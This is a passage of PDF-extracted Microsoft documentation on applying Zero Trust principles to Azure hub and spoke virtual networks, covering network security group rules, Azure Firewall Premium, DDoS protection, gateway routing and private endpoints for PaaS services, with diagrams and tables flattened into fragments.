Protocol: This is automatically selected for TCP.
Action: Allow
Name: Allow-SQL-VM-to-SQL-VM-Inbound
Description: Allows inbound access between SQL-based data tier virtual machines.
In the same network security group, navigate to Outbound Security Rules and select
Add. Populate the list as the previous list, changing Inbound to Outbound.
With these three rules, you've defined the Zero Trust connectivity pattern for a single
application tier. You can repeat this process as required for additional flows.

In addition to the application specific traffic, you need to plan for management traffic.
However, management traffic generally originates outside of the spoke VNet. Additional
rules are required. First, you'll need to understand the specific ports and sources that
management traffic will be coming from. Generally, all management traffic should flow
from a firewall or other NVA located in the hub network for the spoke.
See the full reference architecture in the Apply Zero Trust principles to Azure IaaS
overview article.
This varies based on your specific management needs. However, rules on the firewall
appliances and rules on the network security group should be used to explicitly allow
connections on both the platform networking side and the workload networking side.

Even if your network security group is blocking unnecessary traffic doesn't mean that
your goals are met. You still need to observe the traffic occurring outside your explicit
patterns, so that you know if an attack is occurring.
To enable Network Security Group Flow Logging, you can follow the Tutorial: Log
network traffic flow to and from a virtual machine against the existing network security
group that is created.
７ Note
The storage account should follow the Zero Trust storage account guidance.
Access to the logs should be restricted as needed.
They should also flow in to Log Analytics and Sentinel as needed.
Step 6: Secure access to the VNet and

application
Securing access to the VNet and application includes:
Securing traffic within the Azure environment to the application.

Using multi-factor authentication and conditional access policies for user access to
the application.
The following diagram shows both of these access modes across the reference
architecture.
Internet Azure
WAF (Web App Firewall)

APP GW subnet
User Bastion Subnet
Azure Firewall
AppGw (WAF)
Subnet VM VM
Admin
Bastion
SSH or RDP
To requested
Azure Firewall SSH or RDP VM
Premium App tier subnet
VM VM
VPN GW Subnet
VPN GW Data tier subnet
Security (HUB) VNET

VM VM
HTTPS Workload (SPOKE) VNET
Azure Blob
Office location SMB 3.X (ENCRYPT)
Azure Files

Admin
Central office

Router Admin
Secure traffic within Azure environment for the VNet and

application
Much of the work of security traffic within the Azure environment is already complete.
Secure connections between storage resources and the virtual machines are configured
in Apply Zero Trust principles to Azure storage.
To secure access from hub resources to the VNet, see Apply Zero Trust principles to a
hub virtual network in Azure.
Using multi-factor authentication and Conditional Access

policies for user access to the application
The article, Apply Zero Trust principles to virtual machines recommends how to protect
access requests directly to virtual machines with multi-factor authentication and
conditional access. These requests are most likely from administrators and developers.
The next step is to secure access to the application with multi-factor authentication and
conditional access. This applies to all users who access the app.
First, if the application isn't yet integrated with Microsoft Entra ID, see Application types
for the Microsoft identity platform.
Next, add the application to the scope of your identity and device access policies.
When configuring multi-factor authentication with conditional access and related

policies, use the recommended policy set for Zero Trust as a guide. This includes
"Starting point" policies that don't require managing devices. Ideally, the devices
accessing your virtual machines are managed and you can implement the "Enterprise"
level, which is recommended for Zero Trust. For more information, see Common Zero
Trust identity and device access policies.
Device Entra Conditional Intune device Intune app

level type Access policies policy policies

to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized

users)

PCs include devices running the Windows or macOS platforms
Identity add-on, Office 365 with EMS E5, or individual
Phones and tablets include devices running the iOS, iPadOS, or Android platforms Entra ID P2 licenses November 2023
Step 7: Enable advanced threat detection and

protection
Your spoke VNet built on Azure may already be protected by Microsoft Defender for
Cloud (MDC) as other resources from your IT business environment running on Azure or
on-premises may also be protected.
As mentioned in the other articles from this series, Microsoft Defender for Cloud is a
Cloud Security Posture Management (CSPM) and Cloud Workload Protection (CWP) tool
that offers Security Recommendations, Alerts, and advanced features such as Adaptive
Network Hardening to assist you as you progress in your Cloud Security journey. To
better visualize where Defender for Cloud fits into the greater Microsoft security
landscape, see Microsoft Cybersecurity Reference Architectures.
This article doesn't discuss Microsoft Defender for Cloud in detail, but it's important to
understand that Microsoft Defender for Cloud works based on Azure Policies and logs
ingested in a Log Analytics workspace. Once enabled on the subscription(s) with your
spoke VNet and associated resources, you'll be able to see recommendations to
improve their Security Posture. You can filter these Recommendations further by MITRE
tactic, Resource Group, etc. Consider prioritizing the resolution of Recommendations
that have a greater impact on your organization's Secure score.
Here's an example in the Microsoft Defender for Cloud portal.
If you choose to onboard one of the Defender for Cloud plans that offer Advanced
Workload Protections, it includes Adaptive Network Hardening Recommendations to
improve your existing network security group rules. Here's an example.

You can accept the recommendation by selecting Enforce, which either creates a new
network security group rule or modify an existing one.
Secure your Azure resources with Azure role-based access control (Azure RBAC)
Configure and manage Azure Monitor
Configure network security groups
Design and implement network security
Secure access to your applications by using Azure identity services
Next Steps
Azure IaaS overview

Azure storage
Virtual machines
Azure Virtual WAN
applied.
ﾉ Expand table
Item Description


Virtual machines
Hub VNets
PDF | Visio
Updated March 2024
ﾉ Expand table
Item Description


Virtual machines
Hub VNets
PDF | Visio
Updated March 2024
References
Embrace proactive security with Zero Trust
Zero-trust network for web applications with Azure Firewall and Application
Gateway - Azure Architecture Center
Azure Landing Zone Policies
Common Zero Trust identity and device policies
Feedback
Apply Zero Trust principles to a hub
virtual network in Azure
Article • 04/12/2024
Summary: To apply Zero Trust principles to a hub virtual network in Azure, you must
secure Azure Firewall Premium, deploy Azure DDoS Protection Standard, configure
network gateway routing to the firewall, and configure threat protection.
The best way to deploy an Azure-based hub virtual network (VNet) for Zero Trust is to
use the Azure Landing Zone materials to deploy a feature-complete hub VNet, and then
tailor it to your specific configuration expectations.
This article provides steps for how to take an existing hub VNet and ensure you're ready
for a Zero Trust methodology. It assumes that you have used the ALZ-
Bicep hubNetworking module to rapidly deploy a hub VNet, or have deployed some
other hub VNet with similar resources. Using a separate connectivity hub connected to
isolated workplace spokes is an anchor pattern in Azure secure networking and helps
support the Zero Trust principles.
This article describes how to deploy a hub VNet for Zero Trust by mapping the principles
of Zero Trust in the following ways.
ﾉ Expand table

principle
Verify Always authenticate and Use Azure Firewall with Transport Layer Security
explicitly authorize based on all (TLS) inspection to verify risk and threats based on
available data points. all available data.
Use least Limit user access with Just- Each spoke VNet has no access to other spoke
privileged In-Time and Just-Enough- VNets unless the traffic gets routed through the
access Access (JIT/JEA), risk-based firewall. The firewall is set to deny by default,
adaptive policies, and data allowing only traffic allowed by specified rules.
protection.
Assume Minimize blast radius and In the event of a compromise or breach of one
breach segment access. Verify end- application/workload, it has limited ability to spread
to-end encryption and use due to the Azure Firewall performing traffic
analytics to get visibility, inspection and only forwarding allowed traffic. Only
drive threat detection, and resources in the same workload would be exposed
improve defenses. to the breach in the same application.
This article is a part of a series of articles that demonstrate how to apply the principles
of Zero Trust across an environment in Azure that includes a hub VNet to support an
IaaS workload. For more information, see the Apply Zero Trust principles to Azure IaaS
overview.
The following diagram shows the reference architecture. The hub VNet is highlighted in
red. For more information about this architecture, see the Apply Zero Trust principles to
Azure IaaS overview.
Internet Azure
APP GW subnet
User NSG
ASG- ASG-
AppGw (WAF) fe fe
Admin VM VM
Bastion

Bastion Subnet VM
Premium
NSG
Azure Firewall App tier subnet
Subnet
ASG- ASG-
VPN GW Subnet app app
VM VM
VPN GW DDOS Protection

NSG
Data tier subnet
Security (HUB) VNET ASG- ASG-
data data
VM VM

Developer
Azure Files
Entra ID MDC RBAC Azure

Office location Monitor
Admin
On-premises datacenter
Router Admin Entra ID AD DS On-premises 

Connect app
For this reference architecture, there are many ways you can deploy the resources across
the Azure subscription. The reference architecture shows the recommendation of
isolating all resources for the hub VNet within a dedicated resource group. The
resources for the spoke VNet are also shown for comparison. This model works well if
different teams are given responsibility for these different areas.
In the diagram, a hub VNet includes components to support access to other apps and
services within the Azure environment. These resources include:
Azure Firewall Premium

Azure Bastion
VPN Gateway
DDOS Protection
The hub VNet provides access from these components to an IaaS-based app hosted on
virtual machines in a spoke VNet.
For guidance on organizing for cloud adoption, see Manage organization alignment in
the Cloud Adoption Framework.
The resources that are deployed for the hub VNet are:
An Azure VNet
Azure Firewall with Azure Firewall policy and a public IP address
Bastion
VPN gateway with a public IP address and route table
The following diagram shows the components of a resource group for a hub VNet in an
Azure subscription separate from the subscription for the spoke VNet. This is one way of
organizing these elements within the subscription. Your organization might choose to
organize these in a different way.
Entra ID tenant
Azure subscription Azure subscription
Resource group Resource group

(hub VNet) (spoke VNet)
VNet VNet AppGW + WAF
Bastion NSG-fe ASG-fe
Azure Firewall NSG-app ASG-app
VPN GW NSG-data ASG-data
In the diagram:
The resources for the hub VNet are contained within a dedicated resource group. If
you're deploying Azure DDoS Plan a part of the resources, you need to include
that in the resource group.
The resources within a spoke VNet are contained within a separate dedicated
resource group.
Depending on your deployment, you may also note that there can be a deployment of
an array for Private DNS Zones used for Private Link DNS resolution. These are used to
secure PaaS resources with Private Endpoints, which are detailed in a future section.
Note that it deploys both a VPN Gateway and an ExpressRoute Gateway. You may not
need both, so you can remove whichever one isn't needed for your scenario or turn it
off during deployment.

This article provides recommendations for securing the components of a hub VNet for
Zero Trust principles. The following table describes the recommendations for securing
this architecture.
ﾉ Expand table
1 Secure Azure Firewall Premium. Verify explicitly

Assume breach
2 Deploy Azure DDoS Protection Standard. Verify explicitly

Assume breach
3 Configure network gateway routing to the firewall. Verify explicitly

Assume breach
4 Configure threat protection. Assume breach
As a part of your deployment, you'll want to make specific selections that aren't the
defaults for automated deployments due to their additional costs. Prior to the
deployment, you should review the costs.
Operating the connectivity hub as deployed still provides significant value for isolation
and inspection. If your organization isn't ready to incur the costs of these advanced
features, you can deploy a reduced functionality hub and make these adjustments later.
Step 1: Secure Azure Firewall Premium

Azure Firewall Premium plays a vital role in helping you secure your Azure infrastructure
for Zero Trust.
As a part of the deployment, use Azure Firewall Premium. This requires that you deploy
the generated management policy as a premium policy. Changing to Azure Firewall
Premium involves recreating the firewall and often the policy as well. As a result, start
with Azure Firewall if possible, or be prepared for redeployment activities to replace the
existing firewall.
Why Azure Firewall Premium?

Azure Firewall Premium provides advanced features for inspecting traffic. The most
significant are the following TLS inspection options:
Outbound TLS Inspection protects against malicious traffic that is sent from an
internal client to the internet. This helps identify when a client has been breached,
and if it is trying to send data outside of your network or establish a connection to
a remote computer.
East-West TLS Inspection protects against malicious traffic sent from within Azure
to other parts of Azure or to your non-Azure networks. This helps identify attempts
for a breach to expand and spread its blast radius.
Inbound TLS Inspection protects resources in Azure from malicious requests that
arrive from outside the Azure network. Azure Application Gateway with Web
Application Firewall provides this protection.
You should use the Inbound TLS Inspection for resources whenever possible. Azure
Application Gateway only provides protection for HTTP and HTTPS traffic. It can't be
used for some scenarios, such as those that use SQL or RDP traffic. Other services often
have their own threat protection options that could be used to provide explicit
verification controls for those services. You can review Security baselines for Azure
overview to understand the threat protection options for these services.
Azure Application Gateway isn't recommended for the hub VNet. It should instead
reside in a spoke VNet or a dedicated VNet. For more information, see Apply Zero Trust
principles to spoke virtual network in Azure for guidance on the spoke VNet or Zero-
trust network for web applications.
These scenarios have specific digital certificate considerations. For more information,
see Azure Firewall Premium certificates.
Without TLS inspection, Azure Firewall has no visibility in the data that flows in the
encrypted TLS tunnel, and so it is less secure.
For example, Azure Virtual Desktop doesn't support SSL termination. You should review
your specific workloads to understand how to provide TLS inspection.
In addition to the customer defined allow/deny rules, the Azure Firewall is still able to
apply threat intelligence-based filtering. Threat intelligence-based filtering uses known-
bad IP addresses and domains to identify traffic that poses a risk. This filtering occurs
prior to any other rules, which means even if the access was allowed by your defined
rules, Azure Firewall can stop the traffic.
Azure Firewall Premium also has enhanced options for URL filtering and web category
filtering, allowing for more fine-tuning for roles.
You can set threat intelligence to notify you with an alert when this traffic occurs, but to
allow it through. However for Zero Trust, set it to Deny.
Configure Azure Firewall Premium for Zero Trust

To configure Azure Firewall Premium to a Zero Trust configuration, make the following
changes.
1. Enable Threat Intelligence in Alert and Deny Mode:

a. Navigate to the Firewall Policy and select Threat Intelligence.
b. In Threat intelligence mode, select Alert and deny.
c. Select Save.
2. Enable TLS inspection:

a. Prepare a certificate to store in a Key Vault, or plan to auto-generate a
certificate with a managed identity. You can review these options for Azure
Firewall Premium certificates to select the option for your scenario.
b. Navigate to the Firewall Policy and select TLS Inspection.
c. Select Enabled.
d. Either select a Managed Identity to generate certificates, or select the key vault
and certificate.
e. Then select Save.
3. Enable the Intrusion Detection and Prevention System (IDPS):

a. Navigate to the Firewall Policy and select IDPS.
b. Select Alert and deny.
c. Then select Apply.
4. Next, you'll need to create an application rule for the traffic.

a. In the Firewall Policy, navigate to Application Rules.
b. Select Add a rule collection.
c. Create an application rule with the source of your Application Gateway subnet,
and a destination of the domain name of the web app that is being protected.
d. Ensure that you enable TLS inspection.
Additional configuration
With the Azure Firewall Premium configured, you can now perform the following
configuration:
Configure Application Gateways to route traffic to your Azure Firewall by assigning

the appropriate route tables and following this guidance.
Create alerts for firewall events and metrics by following these instructions.
Deploy the Azure Firewall Workbook to visualize events.
Configure URL and Web category filtering, if needed. Because Azure Firewall denies
by default, this configuration is needed only if the Azure Firewall needs to grant
outbound internet access broadly. However, use additional verifications to
determine connections.
Step 2: Deploy Azure DDoS Protection

Standard
As a part of the deployment, you'll want to deploy an Azure DDoS Protection Standard
Policy. This increases Zero Trust protection provided on the Azure Platform.
Because you can deploy the created policy to existing resources, you can add this
protection after the initial deployment without requiring the redeployment of resources.
Why Azure DDoS Protection Standard?

Azure DDoS Protection Standard has increased benefits over the default DDoS
Protection. For Zero Trust, you can have:
Access to mitigation reports, flow logs, and metrics.

Application based mitigation policies.
Access to DDoS rapid response support in the event of a DDoS attack.
Although automatic detection and automatic mitigation are both a part of the DDoS
Protection Basic that is enabled by default, these additional features are only available
with DDoS Standard.
Configure Azure DDoS Protection Standard

Because there are no Zero Trust-specific configurations for DDoS Protection Standard,
you can follow the resource specific guides for this solution:
Create a DDoS Protection Plan

Configure Alerting
Configure Diagnostic Logging
Configure Telemetry
In the current version of Azure DDoS Protection, you must apply Azure DDoS Protection
per VNet. See additional instructions in DDoS Quickstart.
In addition, protect the following public IP addresses:
Azure Firewall public IP addresses

Azure Bastion public IP addresses
Azure Network Gateway public IP addresses
Application Gateway public IP addresses
Step 3: Configure network gateway routing to

the firewall
After deployment, you'll need to configure route tables on various subnets to ensure
that traffic between spoke VNets and the on-premises networks are inspected by the
Azure Firewall. You can perform this activity in an existing environment without a
requirement of redeployment, but you have to author the necessary firewall rules to
allow access.
If you configure only one side, either just the spoke subnets or the gateway subnets,
then you have asynchronous routing that prevents connections from working.
Why route network gateway traffic to the firewall?
A key element of Zero Trust is to not assume that just because something is in your
environment, that it should have access to other resources in your environment. A
default configuration often allows for routing between resources in Azure to your on-
premises networks, controlled only by network security groups.
By routing the traffic to the firewall, you increase the level of inspection and increase the
security of your environment. You're also alerted to suspicious activity and can take
action.
Configure gateway routing

There are two main ways to ensure that gateway traffic is being routed to the Azure
firewall:
Deploy the Azure Network Gateway (either for VPN or ExpressRoute connections)
in a dedicated VNet (often called a Transit or Gateway VNet), peer it to the hub
VNet, and then create a broad routing rule that covers your planned Azure
networking address spaces routing to the firewall.
Deploy the Azure Network Gateway in the hub VNet, configure routing on the
gateway subnet, and then configure routing on the spoke VNet subnets.
This guide details the second option because it is more compatible with the reference
architecture.
７ Note
Azure Virtual Network Manager is a service that simplifies this process. When this
service is Generally Available, used it to manage the routing.
Configure gateway subnet routing

To configure the Gateway Subnet route table to forward internal traffic to the Azure
Firewall, create and configure a new Route Table:
1. Navigate to Create a Route Table in the Microsoft Azure portal.
2. Place the Route Table in a resource group, select a region, and specify a name.
3. Select Review + Create and then Create.


4. Navigate to the new route table, and select Routes.
5. Select Add and then add a route to one of the spoke VNets:
a. In Route name, specify the name of the route field.
b. Select IP Addresses in the Address prefix destination drop-down.
c. Provide the spoke VNet's address space in the Destination IP addresses/CIDR
ranges field.
d. Select Virtual appliance in the Next hop type drop-down box.
e. Provide the Azure Firewall's private IP address in the Next hop address field.
f. Select Add.

Associate the route table to the gateway subnet

1. Navigate to Subnets, and select Associate.
2. Select the Hub VNet in the Virtual network drop-down list.
3. Select the GatewaySubnet in the Subnet drop-down.
4. Select OK.
Here's an example.
The gateway now forwards traffic intended for spoke VNets to the Azure Firewall.
Configure spoke subnet routing

This process assumes that you already have a route table attached to your spoke VNet
subnets, with a default route to forward traffic to the Azure Firewall. This is most often
accomplished by a rule that forwards traffic for CIDR range 0.0.0.0/0, often called a
quad-zero route.
Here's an example.
This process disables the propagation of routes from the gateway, which enables the
default route to take traffic intended to the on-premises networks.
７ Note
Resources, such as Application Gateways, that require internet access to function

should not receive this route table. They should have their own route table to allow
their necessary functions, such as what is outlined in the article Zero-trust network
for web applications with Azure Firewall and Application Gateway.
To configure spoke subnet routing:
1. Navigate to the Route Table associated with your subnet, and select Configuration.
2. For Propagate gateway routes, select No.
3. Select Save.

Your default route now forwards traffic intended for the gateway to the Azure Firewall.
Step 4: Configure threat protection

Microsoft Defender for Cloud can protect your hub VNet built on Azure, just like other
resources from your IT business environment running on Azure or on-premises.
Microsoft Defender for Cloud is a Cloud Security Posture Management (CSPM) and
Cloud Workload Protection (CWP) that offers a secure score system to help your
company build an IT environment with a better security posture. It also includes features
to protect your network environment against threats.
This article won't cover Microsoft Defender for Cloud in detail. However, it is important
to understand that Microsoft Defender for Cloud works based on Azure Policies and
logs that it ingests in a Log Analytics workspace.
You write Azure Policies in JavaScript Object Notation (JSON) to hold different analysis
of Azure resource properties, including network services and resources. That said, it is
easy for Microsoft Defender for Cloud to check a property under a network resource
and provide a recommendation to your subscription if you're protected or exposed to a
threat.
How to check all network recommendations available
through Microsoft Defender for Cloud
To view all the Azure policies that provide network recommendations used by Microsoft
Defender for Cloud:
1. Open Microsoft Defender for Cloud, by selecting the Microsoft Defender for
Cloud icon in the left menu.
2. Select Environment settings.
3. Select Security policy.
4. If you select in the ASC Default, you'll be able to review all the policies available,
including the policies that evaluate network resources.
5. Additionally, there are network resources evaluated by other regulatory

compliances including PCI, ISO and the Microsoft cloud security benchmark. You
can enable any of them and track for network recommendations.
Network recommendations
Follow these steps to view some of the network recommendations, based on the
Microsoft cloud security benchmark:

1. Open Microsoft Defender for Cloud.
2. Select Regulatory compliance.
3. Select Microsoft cloud security benchmark.
4. Expand NS. Network Security to review the recommended network control.
It is important to understand that Microsoft Defender for Cloud provides other network
recommendations for different Azure resources such as virtual machines and storage.
You may review those recommendations in the left menu, under Recommendations.
On the left menu of the Microsoft Defender for Cloud portal, select Security Alerts to
review alerts based on network resources so you may avoid some types of threats.
Those alerts are generated automatically by Microsoft Defender for Cloud based on logs
ingested in the Log Analytics workspace and monitored by Microsoft Defender for
Cloud.
Mapping and hardening your Azure network environment

through Microsoft Defender for Cloud
You can also check options to get a better security posture by hardening your network
environment in an effortless way by mapping your network environment for a better
understanding of your network topology. Those recommendations are done through
Workload protection option in the left menu, as show here.
Managing Azure Firewall policies through Microsoft

Defender for Cloud
Azure Firewall is recommended for a hub VNet, as described in this article. Microsoft
Defender for Cloud can manage multiple Azure Firewall policies centrally. In addition to
Azure Firewall policies, you'll be able to manage other features related to Azure Firewall,
as shown here.
For more information about how Microsoft Defender for Cloud protects your network
environment against threats, see What is Microsoft Defender for Cloud?
Configure Azure Policy
Configure Azure Firewall
Configure VPN Gateway
Introduction to Azure DDoS Protection
Resolve security threats with Microsoft Defender for Cloud
Next Steps
Azure IaaS overview

Azure storage
Virtual machines
Azure Virtual WAN
applied.
ﾉ Expand table
Item Description


Virtual machines
Spoke VNets
PDF | Visio
Updated March 2024
ﾉ Expand table
Item Description


Virtual machines
Item Description
PDF | Visio Spoke VNets

Updated March 2024
References
this article.
Azure Virtual Networks
What is Azure Firewall?
About Azure VPN Gateway
Azure DDoS Protection Overview
Feedback
Apply Zero Trust principles to a spoke virtual
network with Azure PaaS Services
Article • 04/12/2024
This article helps you apply the principles of the Zero Trust security model to a PaaS workload using Azure virtual networks
(VNets) and private endpoints in the following ways:
ﾉ Expand table

principle
Verify Always authenticate and authorize based on all Use threat detection in Azure Firewall and Azure Application Gateway to
explicitly available data points. validate traffic and to verify if the traffic is acceptable.
Use least Limit user access with Just-In-Time and Just- Reduce ingress to and egress from Azure services to your private
privileged Enough-Access (JIT/JEA), risk-based adaptive networking. Use network security groups to allow only specific ingress
access policies, and data protection. from your VNet. Use a central Azure Firewall instance to grant non-VNet
traffic access to the Azure service.
Assume Minimize blast radius and segment access. Limit unnecessary communication between resources. Ensure that you
breach Verify end-to-end encryption and use analytics are logging from network security groups and that you have proper
to get visibility, drive threat detection, and visibility into anomalous traffic. Track changes to network security
improve defenses. groups.
For more information about how to apply the principles of Zero Trust across an Azure IaaS environment, see the Apply Zero
Trust principles to Azure IaaS overview.
Zero Trust stand alone or spoke network for Azure PaaS

services
Many PaaS services contain their own, service-native ingress and egress control functionality. You can use these controls to
secure network access to PaaS service resources without the need of infrastructure such as VNets. For example:
Azure SQL Database has its own firewall that can be used to allow specific client IP addresses that need to access the
database server.
Azure storage accounts have a configuration option allow connections from a specific VNet or to block public network
access.
Azure App Service supports access restrictions to define a priority-ordered allow/deny list that controls network access
to your app.
However, for Zero Trust guided implementations, these service-native access controls often fall short of being sufficient. This
creates a diffusion of access controls and logging that can increase management and decrease visibility.
In addition, PaaS services can use fully qualified domain names (FQDN) that resolve to a dynamically assigned public IP
address that is allocated from a pool of public IP addresses in a specific region for a type of service. Because of this, you
won't be able to allow traffic from or to a specific PaaS service by using their public IP address, which can change.
Microsoft recommends that you use private endpoints. A private endpoint is a VNet interface that uses a private IP address
from your VNet. This network interface connects you privately and securely to a service that's powered by Azure Private
Link. By enabling a private endpoint, you bring the service into your VNet.
Depending on your solution scenario, you may still need public inbound access to your PaaS services. But unless you do,
Microsoft recommends that all traffic remain private to eliminate potential security risks.
This guide provides instructions for a specific reference architecture, but the principles and methods can be applied to other
architectures as needed.
The following diagram shows a common reference architecture for PaaS-based workloads.
NSG-fe Web tier ingress

APP GW subnet subnet
ASG-fe
Web
AppGw (WAF) private endpoint
NSG-app Web tier egress

subnet App Services
VNet Integra on
NSG-data
Data tier subnet
ASG-data
Data
private endpoint
SQL Server
NSG = Network Security Group 

In the diagram:
A spoke VNet includes components to support a PaaS application.

The PaaS application is a two-tier application leveraging Azure Application Services for a web app/front end and an
Azure SQL Database for relational databases.
Each tier is contained within a dedicated subnet for ingress with a dedicated network security group.
The web tier contains a dedicated subnet for egress.
Access to the application is provided through an Application Gateway contained in its own subnet.
The following diagram shows the logical architecture of these components within an Azure subscription.
SQL resource group Web resource group Storage resource group Resource group Resource group
Storage accounts
SQL Database Application Service
service service Bastion NSG-fe NSG-data
SQL Server Application Service Plan
Data set Data set Azure Firewall NSG-data ASG-fe
Data-PE Web-PE VPN GW ASG-data Web-PrvEndpoint

Data set Data set
Data-PrvEndpoint 
In the diagram, all components of the spoke VNet are contained in a dedicated resource group:
One VNet
One Azure Application Gateway (App GW), including a Web Application Firewall (WAF)
Three network security groups (named with "NSG" in the diagram) for the database, application, and front-end tiers
Two application security groups (named with "ASG" in the diagram)
Two private endpoints
In addition, resources for the hub VNet are deployed in the appropriate connectivity subscription.
What's in this article
Zero Trust principles are applied across the architecture, from the tenant and directory level down to the assignment of VMs
to application security groups. The following table describes the recommendations for securing this architecture.
ﾉ Expand table
Step Task
1 Leverage Microsoft Entra RBAC or set up custom roles for networking resources.
2 Isolate infrastructure into its own resource group.
3 Create a network security group for each subnet.
4 Secure traffic and resources within the VNet:

Deploy baseline deny rules for network security groups.
Plan for management traffic into the VNet.
Deploy network security group flow logging.
5 Secure ingress and egress for Azure PaaS services.
6 Secure access to the VNet and application.
7 Enable advanced threat detection, alerting, and protection.
This guide assumes that you already have an Azure Application Service and Azure SQL Database deployed in their own
resource groups.
Step 1: Leverage Microsoft Entra RBAC or set up custom

roles for networking resources
You can leverage Microsoft Entra RBAC built-in roles for network contributors. However, another approach is to leverage
custom roles. Spoke VNet network managers don't need full access to networking resources granted by the Microsoft Entra
RBAC Network Contributor role but need more permissions than other common roles. A custom role can be used to scope
access to just what is needed.
One easy way to implement this is to deploy the custom roles found in the Azure Landing Zone Reference Architecture .
The specific role that can be used is the Network Management custom role, which has the following permissions:
Read all in the scope

Any actions with the network provider
Any actions with the support provider
Any actions with the resources provider
This role can be created using the scripts in the Azure Landing Zone Reference Architecture GitHub repository or can be
created through Microsoft Entra ID with Azure custom roles.
Step 2: Isolate infrastructure into its own resource group

By isolating network resources from compute, data, or storage resources, you reduce the likelihood of permissions bleed. In
addition, by ensuring that all related resources are in one resource group, you can make one security assignment and better
manage logging and monitoring to these resources.
Rather than having the spoke network resources available in multiple contexts in a shared resource group, create a
dedicated resource group. The following architecture diagram shows this configuration.
SQL resource group Web resource group Storage resource group Resource group Resource group
Storage accounts
SQL Database Application Service
service service Bastion NSG-fe NSG-data
SQL Server Application Service Plan
Data set Data set Azure Firewall NSG-data ASG-fe
Data-PE Web-PE VPN GW ASG-data Web-PrvEndpoint

Data set Data set
Data-PrvEndpoint 
In the diagram, resources and components across the reference architecture are divided into dedicated resource groups for
application services, Azure SQL databases, storage accounts, hub VNet resources, and spoke VNet resources.
With a dedicated resource group, you can assign a custom role using the Grant a user access to Azure resources using the
Azure portal tutorial.
Additional recommendations:
Reference a security group for the role instead of named individuals.

Manage access to the security group through your enterprise identity management practices.
If you are not using policies that enforce log forwarding on resource groups, configure this in the activity log for the
resource group:
1. Find the resource group in the Azure portal.

2. Navigate to Activity log -> Export Activity Logs and then select + Add diagnostic setting.
3. On the Diagnostic setting screen, select all log categories (especially Security) and send them to the appropriate
logging sources, such as a Log Analytics workspace for observability, or a storage account for long term storage.
Here's an example:
See Diagnostic Settings to understand how to review these logs and alert on them.
Subscription democratization
While not directly related to networking, you should plan your subscription RBAC in a similar way. In addition to isolating
resources logically by resource group, you should also isolate the subscription based on business areas and portfolio
owners. The subscription as a management unit should be narrowly scoped.
See the Azure landing zone design principles for more information.
Step 3: Create a network security group for each subnet

Azure network security groups are used to filter network traffic between Azure resources in an Azure VNet. It is
recommended to apply a network security group to each subnet. This is enforced through Azure policy by default when
deploying Azure Landing Zones. A network security group contains security rules that allow or deny inbound network traffic
to, or outbound network traffic from, several types of Azure resources. For each rule, you can specify source and destination
IP addresses, a protocol (such as TCP or UDP), and a port.
For multi-tier applications, the recommendation is to create a dedicated network security group ("NSG" in the following
diagram) for each subnet that hosts a networking component.
In the diagram:
Each tier of the application has a dedicated ingress subnet, such as one for the web tier and another for the data tier.
Azure Application Services has a dedicated egress subnet for a specific application service.
A network security group is configured for each of these subnets.
Configuring network security groups in a different way than in the diagram can result in incorrect configuration of some or
all of the network security groups and can create issues in troubleshooting. It can also make it difficult to monitor and log.
See Create, change, or delete an Azure network security group to manage the settings of your network security groups.
Read more about Network security groups to understand how they can be used to secure your environments.
Step 4: Secure traffic and resources within the VNet

This section describes the following recommendations:

Deploy application-specific rules

A key element of Zero Trust is using the least level of access needed. By default, network security groups have allow rules.
By adding a baseline of deny rules, you can enforce the least level of access. Once provisioned, create a deny all rule in each
of the inbound and outbound rules with a priority of 4096. This is the last custom priority available, which means you still
have the remaining scope to configure allow actions.
To do this, in the network security group, go to Outbound Security Rules and select Add. Fill in the following:
Source: Any
Source port ranges: *
Destination: Any
Service: Custom
Destination Port Ranges: *
Protocol: Any
Action: Deny
Priority: 4096
Name: DenyAllOutbound
Description: Denies all outbound traffic unless specifically allowed.
Here's an example.
Repeat this process with inbound rules, adjusting the name and description as appropriate.
The Inbound security rules tab displays warning sign on the rule. Here's an example.
Click the rule and scroll to the bottom to see more details. Here's an example:

This message gives the following two warnings:
Azure Load Balancers won't, by default, be able to access resources using this network security group.
Other resources on this VNet won't, by default, be able to access resources using this network security group.
For our purpose in Zero Trust, this is how it should be. It means that just because something is on this VNet, doesn't mean
that it will have immediate access to your resources. For each traffic pattern, create a rule explicitly allowing it and you
should do so with the least amount of permissions.
If you have specific outbound connections for management, such as to Active Directory Domain Services (AD DS) domain
controllers, private DNS VMs, or to specific external websites, they need to be controlled here.
Alternative deny rules
７ Note
The recommendations in this section only apply to the web-egress subnet.
If you are using Azure Firewall to manage your outbound connections, instead of performing a deny-outbound-all, you can
create alternate rules for outbound connections. As a part of the Azure Firewall implementation, you set up a route table
that sends default route (0.0.0.0/0) traffic to the firewall. This will handle traffic outside of the VNet.
You can then either create a deny all VNet outbound rule, or an allow all outbound rule but secure items with their inbound
rules.
See Azure Firewall and Route Tables to understand how they can be used to further increase the security of the
environment.
Deploy application-specific rules

Define traffic patterns with the least amount of permissions and only following explicitly allowed paths. Using subnets as
sources, define networking patterns in the network security groups. Here's an example.
Spoke VNet with a hub VNet
NSG-fe Web tier ingress Web tier egress

NSG-app
APP GW subnet Azure Firewall subnet subnet Data tier subnet
Subnet
ASG-fe ASG-data
Web
Data
Application Gateway VNet Integra on private endpoint
private endpoint
w/Web Application
Firewall

Standalone spoke VNet
APP GW subnet Data tier subnet
ASG-fe ASG-data
Web
Data
Application Gateway VNet Integra on private endpoint
private endpoint
w/Web Application
Firewall


Use the Manage network security groups: Create a security rule process to add rules to your network security groups.
To secure this scenario, add the following rules:
ﾉ Expand table
Network Direction Source Source Source Destination Destination Service Network security group Network
security Details Port Details Name security
group for group
Subnet description
App Inbound IP Your 443 IP The explicit MS AllowGWtoAppInbound Allows

Service Addresses Application Addresses IP address SQL inbound
Subnet Gateway of your App access to
Subnet's Service's the App
Private IP private Service
Address endpoint from the
Range Application
Gateway.
App Outbound IP Your App 1433 IP The explicit MS AllowApptoSQLDBOutbound Allows

Service Addresses Service Addresses IP address SQL outbound
Integration Integration of your SQL access to
Subnet Subnet's IP DB's private the SQL
Address endpoint private
Range endpoint
from App
Service
Integration
subnet.
Azure SQL Inbound IP Your App 1433 IP The explicit MS AllowApptoSQLDBInbound Allows
Subnet Addresses Service Addresses IP address SQL inbound
Integration of your SQL access to
Subnet's IP DB's private the SQL
Address endpoint private
Range endpoint
from App
Service
Integration
subnet.
７ Note
Sometimes source traffic can come from different ports and if this pattern occurs you can add source port ranges to "*"
to allow any source port. The destination port is more significant, and some recommendations are to always use "*" for
the source port.
７ Note
